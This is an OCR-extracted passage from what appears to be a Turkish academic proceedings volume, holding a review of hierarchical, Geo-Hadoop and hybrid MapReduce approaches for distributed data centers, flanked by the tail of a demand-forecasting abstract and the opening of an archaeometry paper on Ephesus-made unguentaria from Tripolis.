bir problem tiiriidiir. Buradaki amag¢ ge¢mis bilgilerden
gelecege doniik tahminler yapmaktir. Gelecege doniik
yapilan tahminler ig¢in gecmis veriler kullanilmaktadir
ve bu verilerin iginde trend, mevsimsellik gibi farkl
etkiler bulunabilir. Bu etkileri kavrayip gelecek igin
en basarili tahmini bulmak asil amactir. Bu c¢alismada
bir fabrikadaki iiretim hattindaki {retim planlamalar
yapmak i¢in gecmis taleplere bagli olarak bir {iretim
planlamasi ¢ikarmak amaglanmaktadir. Bunun igin iyi
bir tahmin gerekmektedir. Gegmisteki ii¢ Uriiniin talep
degerleri kullanilarak gelecek tahminleri yapilmistir. Bu
tahminler i¢in li¢ farkli algoritma denenmistir. Bunlar
ARIMA, SARIMA ve YSA yontemleridir. SARIMA
ve YSA basarili ¢itkmigtir. Bundan dolayr SARIMA ve
Y SA sonuglarinin ortalamasina gdre bir iiretim planlama
yapilmasi Onerilmektedir. Gelecekteki ¢alismalarda YSA
iizerinde parametre optimizasyonu gibi gelistirmeler
uygulanmasi 6nerilmektedir. Ve bu sayede tahminler daha
basarili ¢ikabilir.
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DAGITIK VERIi MERKEZLERINDE MAPREDUCE
PROGRAMLAMA MODELi YAKLASIMLARI

Emin SESEN!, Resul KARA?

GIRIS

Giliniimiizde akademik ve endiistriyel alan i¢in yeni bir
arastirma ¢aligma alant; biiyiik veri ortaya ¢ikmistir. Birim
zamanda yliksek hacimli, hizla artan veriler biyiik veri
olarak adlandirilir. Bunlar, sosyal ag etkilesimleri, e-posta
verileri, videolar, sensoOr verileri, resimler, arama motoru
sorgulamalari, saglik kayitlar1 ve biiyiik sirketlerin trettigi
miisteri ve log kayitlarindan iiretilen verilerdir (Eaton vd.,
2012; Curry vd., 2013: akt. Sagiroglu ve Sinanc, 2013).
Uretilen veriler belirli bir diizene sahip olmadigindan
yine yapisal veri tabaninda depolamaya elverisli degildir.

Hadoop biiylik veri kiimelerinin dagitik digiimler
iizerinde depolanmasini ve hesaplanmasini saglayan
Olgeklenebilir gilivenilir bir yazilim projesidir. Her biri
yerel veri depolama ve hesaplama hesaplama yapan bir

1 Ogr. Gor., Diizce Uni. Miih.Fak., Bilgisayar Miih., 0000-0002-1284-3916, emins-
sen@duzce.edu.tr,

2 Prof. Dr., Diizce Uni, Miih Fak.,Bilgisayar Miih., 0000-0001-8902-6837, resulkara@
duzce.edu.tr
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veya daha fazla sunucudan olusabilir (URL-1). Hadoop
Olceklenebilirlik, yiiksek kullanilabilirlik hata toleransi,
diisitk maliyet ve verimlilik gibi 6zelliklerinden dolay1
biiyilik veri depolama igin tercih edilmektedir.

Yogun kullanilan bir web uygulama sunucusunun
farkli cografi konumlarda hizmet verdigini diigiinelim.
Bu sunucu; erisim bilgileri (IP, HTTP durum kodu,
tarayici, dosya yolu), erisim hatalari, veri yiikleme
giinliik verileri tretilir. Bu gilinliilk verilerinin boyutu
biiylik oldugundan uygulama sunucusunun yakininda
Hadoop kiimesinde depolandigini diisiinelim. Bu
verilerin tek bir veri merkezine tasinip islenmesi oldukca
maliyetlidir (Curino vd., 2015; Akella vd., 2015). Bu
nedenle verinin depolandigi veri merkezinde, islenmesi
gereklidir. Hadoop; birden fazla Hadoop kiimesi iizerinde
depolanan yapisal olmayan verilerin MapReduce isleme
stireglerini  gergeklestirmek i¢in herhangi bir altyap1
saglamamaktadir.

Birden fazla veri merkezine sahip kuruluglar igin
her biri az farklh sayida diigiimden olusabilir. Bir veri
merkezindeki diigiimler, CPU frekansi, gekirdek sayisi,
onbellek boyutu, bellek boyutu, ag bant genisligi ve
depolama kapasitesi agisindan bagka bir veri merkezindeki
diigimlerden c¢ok farkli olabilir. Bu faktorler veri
merkezlerindeki hesaplamalarin  performanslari igin
onemlidir. Eger veri merkezilerindeki islenecek wveri
setinin kiigiikse ve veriyi aktarmak i¢in harcanacak zaman
Oonemsiz oldugunda veri setleri tek bir veri merkezine
aktarilarak islenebilir (Luo ve Plale, 2012).

Bu calismada, hiyerarsik, cografi ve hibrit Hadoop
veri igsleme yaklagimlart incelenerek degerlendirilmesi
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yapilmigtir. Her bir yaklasimin avantajli ve dezavantajl
yanlari ortaya konulmustur.

ILGILI CALISMALAR

Farklt donanim 6zelliklerine sahip veri merkezi ve
diigtimler ile ilgili is iiretim performanslari, is zamanlama
algoritmalari, veri yerelligine bagli hesaplamalar,
MapReduce programlama modeli alanindaki arastirma
konularindandir.

Xiao ¢aligmasinda, ¢ok ¢ekirdekli hadoop kiimelerinin
MapReduce performansinin artirilmasint amaglamigtir.
Bunun i¢in ayn1 veri pargasinin birden ¢ok kez iglenmesi
gerektiren yinelemeli MapReduce islerinde, her yinelemeli
islem sirasinda girdi verisinin diigiimler arasinda taginmasi
ile olusan yogun ag ve disk trafiginin 6nlenmesi i¢in arka
plan da calisan bir 6nbellek tasarlamiglardir. Ayrica ¢ok
cekirdekli hadoop kiimeleri lizerinde gorevlerin paralel
olarak calistirllmasinda verimliligin artirilmasi igin, bir
MapReduce igini; Map ve Reduce olarak ayri igler olarak
ayristirilip, caligmasi zamani optimize edilir (Chen vd.,
2011).

Jayalath ve arkadaslari, dagitik veri merkezlerinde
birden fazla MapReduce islerinin sirali olarak en verimli
sekilde gerceklestirebilmek i¢in bir ¢aligma yapmiglardir.
Bu c¢alismada DTG  optimizasyon algoritmasi
onermislerdir. Bu algoritma parasal maliyet veya zamana
gore optimizasyon gergeklestirmektedir. Dagitik veri
merkezleri iizerindeki veri setlerinin bu optimizasyon
algoritmasiyla analiz edilebilmesi i¢cin G-MR ¢ergevesini
onermiglerdir. G-MR veri merkezlerindeki dagitik
veriler ti¢ farkli yol ile analiz edilebilir. Bunlar veri Map
asamasindan once farkli veri merkezine tasimabilir, Map
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asamasindan sonra Reduce asamasi farkli veri merkezinde
ve MapReduce sonuglar1 farkli verimerkezine tasinarak
gerceklestirileblir. Optimizasyon grafindaki kenarlar ya
parasal maliyet ya da zamana gore belirlenir. Bu ¢caligmada
secilen optimizasyon hedefine goére en kisa yol optimum
yol olarak belirlenir (Eugster, 2014).

Heintz ¢aligmasinda, baglant1 hizlar1 ve diiglimlerin
islem giiciine gore, diiglimlere gorev atamasi gergeklestirir.
Verinin Map islemine giris yapmasindan baslayarak,
Map ve Reduce islemleri dahil 3 asamada, MapReduce
isleminin siiresinin azaltilmasi amaglanmaktadir. Bu
asamalar birbiriyle baglantili olarak degerlendirmislerdir.
Her fazin minimum siirelerinden ziyade 3 faz1 biitliniiyle
degerlendirerek ugtan uca iiretim siiresini minimuma
indirmiglerdir. Farkli diiglimden gelen veri bloklarinin
bant genisligine gdre gonderilme siiresi hesaba katilir.
Gonderilmesi siiresi ile Map asamasinin tiretim siiresi
birlikte dikkate alinir. Ayni1 zamanda gorevler Shuffle
asamasinda yogun trafik olustugu diislinlilerek Map
asamasinda verinin Shuffle da yiik getirmeyecek sekilde
ve Map asamasina gelen verinin ag baglant1 kapasitesi ile
diigimiin hesaplama kapasitesinin daha iyi performansla
caligmasini saglamak i¢in birlikte bu iki agamay1 birlikte
degerlendirmislerdir (Chandra vd., 2016)

Luo ve arkadaslari, MapReduce islerini koordine
ederek calistirmak icin Hiyerarsik yaklasim modeli
benimsenerek  (Map-Reduce-GlobalReduce)  dagitik
hadoop kiimeleri {izerinde zamanlama algoritmalari
onermislerdir. Calismayla iki zamanlama algoritmasi
sunulur. Yogun hesaplama kaynagi kullanan isler igin,
‘Hesaplama Kapasitesine Dayali Zamanlama Algoritmast’
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ve biiylk veri setleri icin ise ‘Veri Konumuna Baglh
Hesaplama Algoritmasidir’ (Akella vd., 2015).

Cavallo ve arkadaslar verilerin, diigimiin hesaplama
kapasitesi ve baglantinin kapasitesine gz Oniinde
bulundurarak bir Hiyerarsik Dagitik Hadoop Framework
algoritmasi Onermiglerdir. Kiimeler {izerinde ¢alisan
orjinal Hadoop Framework’iinde herhangi bir degisiklik
yapilmamigtir, Merkezi bir is yoOneticisi, Diglimler
lizerinde benzer islerin kiigiik Ornekleri ¢alistirilir.
Islerin tiiriine gore diigiimler i¢in bir uygulama profili
olusturulur. Uygulama profili olusturulan diigiimlerde,
gonderilecek isin tahmini siiresi hesaplanir. Bu siirelerle
birlikte verilerin farkli diigiimlere taginip calistirilmasi
degerlendirilir. Bu tahminlerle, ¢cok sayida kombinasyon
olusturulur. Kombinasyonlardan, islenecek diigiimler ile
baglant1 yollar1 birlikte degerlendirilerek, isin en uygun
caligsma yolu belirlenerek is, kiimeler lizerinde ¢aligtirilir.
Sonuglar GlobalReducer olarak belirlenen bir kiime
iizerinde Reduce fonksiyonu calistirilarak nihai sonuglar
elde edilir (Cavallo vd., 2016).

Yapilan ¢calismalarda dagitik hadoop kiimeleri tizerinde
Map-Reduce siireclerini gerceklestirmek icin ii¢ farkl
dagitik Map-Reduce modeli sunulmaktadir. Bunlar Geo-
Hadoop, Hiyerarsik ve Hibrit yaklasimlardir. Bu yazida
ti¢ farkli yaklagim degerlendirilecektir.

MAP-REDUCE

Veri merkezlerindeki kiimeler iizerinde biiyiik veri
setlerinin verimli bir sekilde islemek igin tasarlanan
programlama modelidir. Tek bir diigiimden ziyade bir ¢ok
diigiimde veya cografi olarak dagitik konumlarda bulunan
verinin iglenmesini saglar.
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Map-Reduce programlama modeli Map(Esle) ve
Reduce(indirge) fazlarindan olusur. Anahtar/deger ciftleri
ile caligmaktadir. Bir veri blogu icerisindeki veriler
anahtar/deger cifti olarak Map fazina girdi olarak gelir.
Map fazindaki fonksiyona gore yeni anahtar/deger cifti
iretilir. Bu fazdan sonra Shuffling(Karistirma) karistirma
asamasi ile ayni anahtar degerine sahip verilerin anahtar/
deger ciftleri bir diiglim iizerinde Reduce asamasina girdi
olarak verilir. Reduce fazindan sonra nihai ¢ikt1 olarak
yeni anahtar/deger ciftleri tiretilir.(Sekil 1)

Veri Veri pargalar Esle Kanigtirma Azaltma Cikt

hadoop

hadoop, 1
1
anantar,1

anahtar, 1
- ..
deber 1
7

hadoop

mapreduce
anahtar

deger

hadoop

mapreduce
anahtar
hadoop

anahtar

deger deger. 1 \
hadoop hadoop, 1 ‘
mapreduce mapreduce. 1 |7y hadoop, 1

anantar anantar, 1 hadoop. 1
hadoop hadaop, 1
1
mapreduce, 1 mapreducs 2

Sekil 1: Map-Reduce Programlama Modeli

MAP-REDUCE PROGRAMLAMA MODELI
YAKLASIMLARI

1. Hiyerarsik Yaklasim

Hiyerarsik  yaklasim  bir  MapReduce isinin
ozyinelemeli olarak gergeklestirilmesidir. iki veya daha
fazla agamali olabilen bir igin, ilk agamasi tamamlandiktan
sonra ortaya ¢ikan sonuglarin ikinci ise veya varsa sonraki
igslere girdi olarak verilmesiyle Ozyinelemeli olarak
gerceklestirilmesidir. Bu 6zyinelemeli isler tekil diigiim,
cogul diigiim veya g¢oklu kiime diigiimleri seviyesinde
olabilmektedir.

anahtar, 2

deger, 1

hadoop, 3
mapreduce, 2
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Sekil 2: Hiyerarsik MapReduce Programlama Modeli
Tekil diigiim ve ¢ogul diigiim(1) {izerinde hiyerarsik
yaklagim genellikle sirali iki farkli igin ¢aligmasi ile
degerlendirilebilirken, ¢oklu kiime diigiimleri(2) tizerinde
ise once her kiime birbirinden bagimsiz olarak bir isi
once kendi iizerinde; daha sonra kiimeler arasi bir is
calistirtlmasi olarak degerlendirilebilir.

Hiyerarsik yaklagim modeli i¢in farkli cografi alanlarda
veri merkezleri bulunan bir e-posta servis saglayici
giinliiklerini ele alalim. E-posta konusu “Hadoop” olan
ve Tiirkiye’den e-posta gonderen gonderici adreslerini ve
gonderdikleri servis saglayici adresleri bulalim. Hiyerarsik
yaklasim modeline gore kurulmus dagitik sistemler igin
once veri merkezlerindeki veriler lizerinde MapReduce
isi baslatilir. Bu is i¢in kodlanan Map fonksiyonu veri
merkezi {izerinde calistirilarak; veri merkezlerindeki
giinliik verisinden elde edilen veriler Reduce fonksiyonu
ile tekillestirilir.
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2. Geo-Hadoop Yaklasimi

Verilerin farkli veri merkezleri lizerinde depolanarak
dagitik olarak islendigi bir yaklagimdir. Bergui vd. (2021),
iki mimari altinda kategorize edilmistir.

Merkezilestirilmis  Mimari: Veri  merkezlerinin
birinde bulunan bir yonetici diigiim, diger veri merkezi
diigiimlerinin kaynaklarini yonetir.

Merkezi Olmayan Mimari: Her veri merkezi kendi
is¢i diiglimlerini yonetir. Her veri merkezi kendi i¢inde
Hadoop islerini c¢aligtirabilir. Ayrica veri merkezleri
cografi olarak dagitilmis isler i¢in hesaplama ve veri
kaynagini birbirleriyle paylasabilir.

[ Veri ] [ Veri ] [ Veri ]

F F r

Hadoop Hadoop Hadoop

Cluster A Cluster B Cluster C Map
Shufiling
Hadoop Hadoop Hadoop Reduce

Cluster A Cluster B Cluster C

Sekil 3: Geo-Hadoop Yaklagimi

Bu yaklagimda veri merkezlerindeki veriler lizerindeki
veri setleri icin Map (Esle) fonksiyonu calistirilir. Elde
edilen sonuglar veri merkezleri arasinda Shuffling
(Karigtirma) agamastyla tasinir. Tagian veriler iizerinde
Reduce fonksiyonu ¢alistirilarak nihai sonuglar elde edilir.
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3. Hibrit Yaklasim

Marzuni ve arkadaslari Hiearchical ve Geo-
Hadop yaklasimlar1 birlikte distiniilerek bir yontem
tasarlamiglardir. Yontem iki asamadan olusmaktadir.
[Ik asamada kiimeler bagimsiz olarak veriyi isleyecek
(Hiyerarsik yaklasim), ilk asamanin sonuglarmdaki
anahtar/degerler ile bir graf olusturulur(GRG). Bu
graf ile hangi anahtar/degerin hangi kiimeler iizerinde
calistinlacagr belirlenir. Grafa gore sadece ilgili
olan anahtar/degerlerin sadece ilgili olan kiimelere
taginarak Geo-Hadoop yaklagimindaki benzer Shuffling
(GShuffling) gerceklestirilmektedir. Shuffling isleminden
sonra kiimeler iizerinde galistirilan islerin sonuglart tek
bir makine iizerinde birlestirilip sonug¢landirilir (Marzuni
vd., 2021).

YAKLASIMLARIN DEGERLENDIRILMESI

Dagitik veri merkezleri iizerinde veri setlerinin
islenmesi i¢in ti¢ farklt MapReduce programlama modeli
yaklagimlarini inceleyecegiz.

Geo-Hadoop yaklasim geleneksel Hadoop mimarisine
benzemektedir. Bu yaklasim igin sekil 4’te verilen bir
ornekte veri merkezlerindeki bir veri setinde kelimeleri
sayalim. Oncelikle, her veri merkezi (Cluster A,B,C)
iizerinde Map fonksiyonu calistirilir. Map fonksiyonu
ile Uretilen anahtar/deger ciftleri reduce fonksiyonu igin
veri merkezleri arasinda shuffling siireci gerceklestirilir.
Bu veri merkezi {izerinde reduce fonksiyonu ¢alistirilarak
nihai sonuglar elde edilir. Ayn1 veri merkezindeki map
fonksiyonu c¢iktilar1 shuffling siirecinde, ayni anahtar
degerine sahip anahtar/deger c¢iftleri tasinacaktir. Bu
durumda Cluster A’da “hadoop” anahtarma sahip 3
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farkli anahtar/deger c¢ifti taginacaktir. Sekildeki 6rnek
i¢cin 18 anahtar/deger ¢ifti tasinmasi gerekecektir. Bu veri
merkezleri arasinda yogun bant genisligi dar bogazina
neden olacaktir.

Cluster A Cluster B Cluster C

apahce,1

hadoop,1 32:259'1 anahtar,1
hadoop,1 hadoop:1 anahtar,1
hadoop,1 hadoop:1 deder,1 Map
anahtar, 1 uuﬁurﬁH digim, 1
deder.1 digum 1 digadm, 1

deder,1

Shuffling

anahtar3
apache 2

deder,3
digim, 4

hadoop,& Reduce

J
J

Cluster A Cluster B Cluster C

anahtar,3
apache 2
deder3
digiim, 4
hadoop,&

Sekil 4: Geo-Hadoop Yaklasimi Map-Reduce Ornegi

Cikh

Hiyerarsik Hadoop yaklasimla, ise yine aym veri
setlerini veri merkezlerindeki bir veri setinde kelimeleri
sayalim (Sekil 5). Oncelikle, her veri merkezi (Cluster
A, B, C) tlizerinde bu isi yapacak Map-Reduce isi
calistirtlir. Veri merkezleri tizerindeki bu isten elde edilen
sonuclar nihai sonucu iiretmek i¢in bir veri merkezine
taginir(Cluster D). Burada, 10 anahtar/deger ¢ifti sadece
bir veri merkezine tasinmig olacaktir. Bu sunucu iizerinde
Reduce fonksiyonu ¢alistirilarak nihai sonuglar elde edilir.
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Cluster A Cluster B Cluster C

apahce 1
hadoop,3
anahtar,1
deder 2

apahce 1 anahtar,2
hadoop,3 deder 1
didgiim, 2 diigim, 2

MR

anahtar 3
apache 2
hadoop,6
de“g‘j_grj
digqam, 4
Cluster D
Sekil 5: Hiyerarsik Map-Reduce Ornegi

Marzuni ve arkadaglarmin tasarladigt  Cross-
MapReduce c¢aligmada isimli hibrit yaklasimi ayni
kelime sayma &rnegi ile inceleyelim. ik fazda
Hiyerarsik yaklagimdaki gibi veri merkezlerinde Map-
Reduce fonksiyonu ¢alistirilir. Her veri merkezindeki
anahtarlardan bir graf olusturulur. Bu graf, anahtarlarin
veri merkezleri arasinda dengeli bir sekilde dagitilmasini
icin gereklidir. Anahtar/deger ciftleri, ¢calismada Geo-
Hadoop yaklasimi gibi klasik shuffling asamasina benzer
bir asama olan “GShuffling” ad1 verilen yontemle graf ile
belirlenen veri merkezlerine anahtar/deger ¢iftleri taginir.
Veri merkezlerinde reduce faz1 gergeklestirilir. Hiyerarsik
yaklasimdaki tek bir veri merkezine taginan 10 anahtar/
deger cifti dagitik olarak tiim veri merkezlerine tasinir.
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Cluster A Cluster B Cluster C
( ™ Y
ﬁS?EEBQ apahce, 1 anahtar,2
anamapr:1 hadoop, 3 deger, 1 MapReduce
deder2 digim,2 diifjim,2
— I
} Shuffling
Y v v
anahtar,3 deder3
apache,2 hadoop, 6 dagom 4 } Reduce
Cluster A Cluster B Cluster C

anahtar,3
apache,2
deder 3 Cikt

digim, 4
hadoop,6

Sekil 6: Hibrit MapReduce Ornegi

SONUCLAR

Geleneksel ¢ok hesaplama diigtimlii hadoop veri
merkezlerinde, Map-Reduce islerinin; map fazinin
drettigi veri, girdi verisinden biiyiik olmaktadir. map
fazindan sonra, diiglimler arasinda tiim diigiimlerden tim
digiimlere (all-to-all) shuffling asamasiyla veri hareketi
gercekleseceginden, yogun ag trafigi olusturabilir. Geo-
hadoop mimarisindeki dagitik veri merkezleri arasinda
bant genisliginin kisith kaynak oldugu disiiniildiigiinde
ag trafigi nedeniyle, bir Map-Reduce isinin calisma
stiresini artirir.

Hiyerarsik mimarideki dagitik veri merkezlerinde ise
Map-Reduce isinden sonraki reduce fazinda tiim veri
merkezlerindekiveriler, tek veri merkezine tasinacagindan,
bu yaklasimda reduce asamasini gergeklestirecek veri
merkezinde ag trafigi ve tiim verinin bu veri merkezinde
islenecek olmasi iiretim stiresini arttiracaktir.
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Hibrit yaklasimda ise, Hiyerarsik ve Geo-Hadoop
yaklagimlarinin kismen ornek almarak veri merkezleri
aras1 ag trafigi ve uretim siiresi azaltilmaya ¢aligilmistir.
Bunun i¢in, Hiyerarsik yaklagimin ilk asamasi; her veri
merkezinin bagimsiz olarak Map-Reduce fonksiyonunu
calistirmas1 aynmi sekilde almmistir. Sonraki asamada
Geo-Hadoop yaklagimindaki Map fonksiyonunun tirettigi
veriler yerine, onceki asamada flretilen Map-Reduce
fonksiyonunun irettigi veriler, graftan elde edilen
konumlara gore, Geo-Hadoop yaklasimindaki karigtirma
asamasina benzer sekilde tim veri merkezleri arasinda
GShuffling yapilmigtir. Boylelikle karistirma asamasinda
bir anahtar/deger ¢iftinin olmadig1 veri merkezine, o
anahtar/deger cifti taginmayacaktir. Boylelikle gereksiz
ag trafigi engellenecek ve iiretim siiresi diisecektir.

Hibrit yaklasimda veri merkezlerinin donanim
farkliligi bant genisligi faktorii degerlendirilmemistir.
Ayrica veri merkezleri iizerindeki veri boyutu da yine bir
isin liretim siiresini etkileyen onemli faktorlerdendir.
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TRIPOLIS’TE BULUNAN EFES URETIMi GEC ANTIK
CAG UNGUENTARIUMLARININ ARKEOMETRIK
OZELLIKLERI

Baris SEMIZ !

GiRiS

Unguentarium yaklasik olarak 1.0. 4. yy.’dan, I.S.
7. yy. baslarina kadar tim Akdeniz Havzasi’'nda yaygin
olarak kullanilan kii¢iik ve dar boyunlu olup kokulu yaglar
tastyan kaplar olarak bilinmektedir (Er, 2004; Simsek ve
Duman, 2007; Demir, 2020). Bu kaplarin genel olarak
Hellenistik ve Roma Ddénemi’nde daha ¢ok mezarlarda
01l hediyesi olarak kullanildigi diistiniilmektedir (Glinay
1989; Simsek ve Duman 2007). Ge¢ Antik Cag’da mezar
hediyesi ve genellikle igerisinde 6zel yaglar, parfiimler
ve kremler taginmis olan bu kaplarin kullaniminin yavas
yavas azalarak, bal, sirke ve s1v1 baharat gibi maddelerinde
taginmis oldugu bilinmektedir (Boulter, 1963; Saragoglu,
2011; Demir, 2020). Bu kaplar Filistin’den Ispanya’ya
kadar tiim Akdeniz havzasinda yaygindir (Anderson
- Stojanovi¢, 1987). Anadolu’da da birgok arkeolojik

1 Dog. Dr. Pamukkale Universitesi Jeoloji Miihendisligi Boliimii, 0000-0003-1263-
4599, bsemiz@pau.edu.tr
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kazi calismasinda tespit edilen Ge¢ Antik Cag
unguentariumlariin buluntu merkezleri basta Saraghane
olmak lizere, Alahan Antiokheia, Attaleia, Efes, lasos,
Hierapolis, Ksanthos, Limyra, Myra, Perge, Sagalassos,
Tarsus, Laodikeia ve Tripolis olarak bilinmektedir
(Simsek ve Duman 2007; Semiz ve Duman, 2017).
Tripolis antik kenti, Lykos (Ciiriiksu) Vadisi’nin
kuzeybati ucunda yer alan Yenicekent mahallesi (Buldan
—Denizli) sinirlar1 igerisinde ve Maiandros Nehri’nin
hemen kiyisinda kurulmustur (Sekil 1). Helenistik
Donem’de kent Lydia, Phrygia ve Karia Bolgeleri’nin
sinirlarinin birlestigi alan tizerinde yer almaktadir (Duman,
2013). Tripolis Antik Kenti’nde gergeklestirilen 2012 ve
2013 yili kaz1 galigmalarinda Kemerli Yap1 igerisinde
bircok unguentarium pargasi tespit edilmistir. Tripolis ve
Laodikeia iiretimi unguentariumlar (Semiz ve Duman,
2016; 2017; Semiz vd., 2016; Semiz, 2019; 2021) ve
Efes iiretimi unguentariumlar (Lochner vd. 2005) 6nceki
yillarda detayl olarak arkeometrik agidan incelenmistir.
Bu calismanin amaci ise Tripolis Antik Kenti’nde (Denizli)
bulunan Efes tiretimi unguentariumlarin mineralojik ve
jeokimyasal karakteristiklerini tanimlamak ve pisirim
sicakliklar1 hakkinda yaklagimlarda bulunmaktir.
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Sekil 1: Yer bulduru haritasi (Semiz, 2021)

TRIPOLIS ANTIK KENTI’NiN ARKEOLOJIK

OZELLIKLERI

Lykos (Ciirtiksu) Vadisi’nin kuzeybati ucunda yer
alan Tripolis Antik kentinin kamusal ve sivil mimari
kalintilar1, vadiye hakim bir tepenin giiney yamacinda
yaklagik 3 km?’lik bir alana yayilmistir (Sekil 2). Bilim
adamlarinin ¢ogu Tripolis’in bir kent olarak kokenini
Helenistik doneme kadar dayandirsa da, kentin dogu
ve glineydogusunda yer alan Hamam Biikii ve Yenice
Hoyiik’te yapilan yiizey arastirmalari sirasinda elde edilen
arkeolojik malzemelerin incelemesi sonucunda Geg
Neolitik — Erken Kalkolitik donemden beri kentte insan
yerlesiminin oldugunu gostermektedir (Duman 2013).
Tripolis Antik Kenti, Helenistik dénemde Apollonia
adiyla kurulmustur (Ramsay 1960; Thonemann, 2003).
Dabha sonra kisa bir siire i¢in, Marcus Antonius’un Kii¢iik
Asya’y1 ziyaretinden sonra Antoniopolis olarak anilmigtir.
Roma Imparatoru Augustus Dénemi’nden itibaren kentin
ismi artik Tripolis’tir. Tripolis’in bulundugu Ciiriiksu
Vadisi (bkz. Sekil 1), MO 190°da Seleukoslar ile Bergama
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Krallig1 arasindaki Magnesia Savasi’na kadar bagimsiz
sehirlere ev sahipligi yapmistir. Bergama Kralligi bu
savasi Roma’nin destegiyle kazanms ve M.O. 188
yilinda imzalanan Apameia Antlagmasi ile bolge Bergama
hakimiyetine girmistir. Bergama’nin son krali III.
Attalos’un MO 133’te kralligim1 Roma’ya devretmesi ile
bolge Roma hakimiyetine girmistir (Ramsay 1890). Kent
en parlak donemlerini Roma déneminde yasamistir. MS 1.
ylizyilda kentin 9 m genisliginde bir dogu-bati ana caddesi
ve onunla dik acilarda kesisen sokaklar1 bulunmaktadir.
Ana cadde, MO 1. yiizylldan MS 7. yiizyilin ortalarina
kadar evler ve diikkanlarla cevrilmistir. Ikinci ana cadde,
sehir merkezinde dogu- bati1 Siitunlu Cadde ile kesisir
ve Hierapolis Caddesi olarak adlandirilmaktadir. Bu iki
ana cadde ¢evresinde Kemerli Yapi, Agora, Nymphaeum
ve Bouleuterion gibi kamu yapilan ile sivil yapilar yer
almaktadir (Duman, 2017) (Sekil 2).

Sekil 2: Tripolis antik kenti yapilar:
(Foto: Tripolis kaz1 arsivinden alinmistir)
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Tripolis MS 60 yilindan itibaren birgok kez
Bati  Anadolu’daki sehirlerle birlikte depremlerden
etkilenmistir. Son olarak ise MS 494 depreminden sonra
tamamen harap olmustur (Ramsay, 1890). MS 6. yilizyilin
sonlart ile 7. ylizyilin baglarindaki Aphrodisias, Sardeis
ve Ephesos’tan da bilinen Sasani akinlari, Tripolis’i
de olumsuz etkilemistir (Ratte, 2001). S6z konusu
depremler ve baskinlar sonucunda kentte yasam MS 7.
ylizyildan itibaren gerilemistir. Bu siiregte Anadolu’nun
geri kalaninda oldugu gibi Tripolis’te de kirsallagsma
etkin olmustur. MS 8.-9. yiizyillarda Tripolis, belki de
sadece kiigiik bir niifusa sahip bir yerlesim konumunda
kalmistir.  10. ylizyilda sehrin yeniden canlandigi,
kilisenin duvarlarinda azizlerin resmedildigi freskler,
giinliik kullanim kaplar1 ve c¢esitli agmalarda ele gecen
aynm doneme ait sikkelerden anlasilmaktadir (Duman
2014). Tripolis, 13. yiizyilin ilk yarisinda Tirkler ve
Bizanslilar arasinda birkag¢ kez el degistirmistir. Tripolis/
Yenice ve c¢evresi tizerindeki Tiirk hegemonyasi 1304-
1306 yillarinda Germiyan Beyligi ile baslamistir (Cahen
2012).

Tripolis antik kentinin stratejik ve jeopolitik konumunu
gosteren en Onemli kanit, ticaret yollar1 {izerindeki
konumundan kaynaklanmaktadir. Bergama ve Germe’den
gelen ticaret yolu Thyateira, Sardeis ve Philadelphia
tizerinden Tripolis, Hierapolis ve Laodikeia’ya kadar
uzanmaktadir (Sekil 3). Kent ticaret yollar1 iizerinde
konumlandig1 igin iiretim faaliyetleri ¢aglar boyunca
devam etmistir. Yiiksek miktarda ele gegen c¢anak
¢omlek kentin dnemli gelir kalemlerinden biri oldugunu
gostermektedir. Ortaya ¢ikarilan kalip ornekleri, Tripolis
iretiminin sadece yerel tiiketimi hedef almadigini, cevre
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kentlere de drilinlerini pazarladigimi gostermektedir
(Duman, 2016). Tripolis’te ticaret yapan schirlerden
bazilar1 sikke ve c¢anak-comlek buluntularindan da
anlasilmaktadir: Pergamon, Smyrna, Ephesos, Tralleis,
Aphrodisias, Thyateira, Phiadelphia, Prymnessos,
Antiokheia ad Maeandrum, Kolossai, Laodikeia,
Hierapolis, Antiokheia (Pisidia), Herakleia Salbake ve
Stratonikeia (Duman ve Kogyigit, 2019).

K A R A DE N I z

Sekil 3: Bati1 Anadolu’daki antik kentlerin ticaret yollar1 (Foto:
Tripolis kaz1 arsivinden alinmistir)
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MATERYAL VE YONTEM

Tripolis kaz1 baskanlig1 tarafindan kazi calismalarinda
elde edilen yiizlerce Geg Antik Cag unguentariumlarindan
Efes Unguentariumu olarak tanimlanan 3 6rnegin farkli
oldugu belirtilmistir. Orneklerin yiizey ve kesit renkleri
PCE-CSM1 marka renk oOlgiim cihazi ile Olgiilmis ve
Olciim sonucglarinin  Munsell degerleri belirlenmistir.
Petrografik calismalara yonelik olarak unguentarium
numunelerinin ince kesitleri, Pamukkale Universitesi
(PAU) Jeoloji Miihendisligi Boliimii ince kesit
atolyesinde yaptirilmistir. Hazirlanan ince kesitler Jeoloji
Miihendisligi Boliimii’'nde bulunan Leica marka polarizan
mikroskopla incelenerek mineralojik ve petrografik
ozellikleri belirlenmeye ¢alisiimistir.

Tim Orneklerin kimyasal analizleri Pamukkale
Universitesi, Ileri Teknoloji Arastirma ve Uygulama
Merkezi (ILTAM)’'nde Spectro XLAB 2000 PEDXRF
marka X-Isinlar1 spektrometresi kullanilarak yapilmistir.
Analiz i¢in Ornekler halkali 6giitiiciide yaklasik 200
mesh boyutuna kadar égiitiildiikten sonra XRF analizinde
kullanilan 6zel bir baglayiciyla (wax) karigtirilarak 32
mm.’lik diskler (pellet) olusturulmus ve olusturulan
her bir disk aletin 6rnek bolgesine yerlestirilmis ve
analizi yapilmistir. Benzer karakterde olduklart igin
1 adet oOmegin XRD (X-Isinlart Kirimimi) analizi
Ankara Universitesi Yer Bilimleri Uygulama ve
Aragtirma Merkezi’nde yaptirilmistir. XRD  yontemi
orneklerdeki ozellikle mikroskopta incelenemeyecek
kadar kiigiik taneli bilesenler dahil tiim mineral fazlarinin
belirlenmesi igin uygulanmaktadir. Ornekler ilk asamada
halkali ogiitiiciide ogitiilerek toz haline getirilmis
ve yonlendirilmemis plaketler hazirlanarak ¢ekimler
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gerceklestirilmistir. Orneklerin XRD ¢ekimleri PHILIPS
model PW1353/20 model difraktometre cihazinda Cu
Ka, 40 kV, 40mA kosullarinda nikel filtre kullanilarak
20= 2-100° ¢ekim araliginda yapilmistir. Bir o6rnek
tizerinde taramali elektron mikroskobu ve enerji dagiliml
spektroskopi (SEM-EDS) analizi gerceklestirilmistir.
SEM-EDS c¢alismast Pamukkale Universitesi Ileri
Teknoloji Uygulama ve Arastirma Merkezi’nde (ILTAM)
FESEM SUPRA 40 VP kullanilarak gergeklestirilmistir.
SEM-EDS analizi i¢in numuneler, numunenin yeni
kirilmig bir yiizeyinin ¢ift tarafli bantla bir aliminyum
